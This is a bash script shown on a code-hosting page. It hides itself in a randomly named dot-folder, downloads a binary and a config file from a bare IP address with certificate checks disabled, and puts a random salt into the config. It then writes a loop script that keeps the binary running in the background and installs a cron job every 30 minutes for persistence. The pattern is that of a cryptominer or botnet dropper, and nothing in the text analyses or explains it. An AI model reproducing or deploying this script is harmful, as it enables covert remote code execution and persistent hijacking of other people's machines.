You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
29 lines
1.1 KiB
29 lines
1.1 KiB
2 years ago
|
#!/bin/bash
|
||
|
|
||
|
path=$PWD
|
||
|
|
||
|
if [ -w $path ]; then
|
||
|
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5)
|
||
|
mkdir $dir
|
||
|
cd $dir
|
||
|
path=$PWD
|
||
|
salt=$(head /dev/urandom | tr -dc a-z | head -c 7)
|
||
|
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 1)
|
||
|
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then
|
||
|
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x
|
||
|
fi
|
||
|
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then
|
||
|
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10
|
||
|
fi
|
||
|
if [ ! -f "$path/x" ]; then exit; fi
|
||
|
if [ ! -f "$path/10" ]; then exit; fi
|
||
|
chmod 777 x
|
||
|
sed "s/BBBBBBB/$salt/" -i 10
|
||
|
log=$path/.log
|
||
|
echo "#!/bin/bash" > $m
|
||
|
echo "for i in \$(seq 1 120); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; timeout 1800 $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
|
||
|
chmod 777 $m
|
||
|
(crontab -l; echo "*/30 * * * * $m") | crontab -
|
||
|
echo $salt
|
||
|
fi
|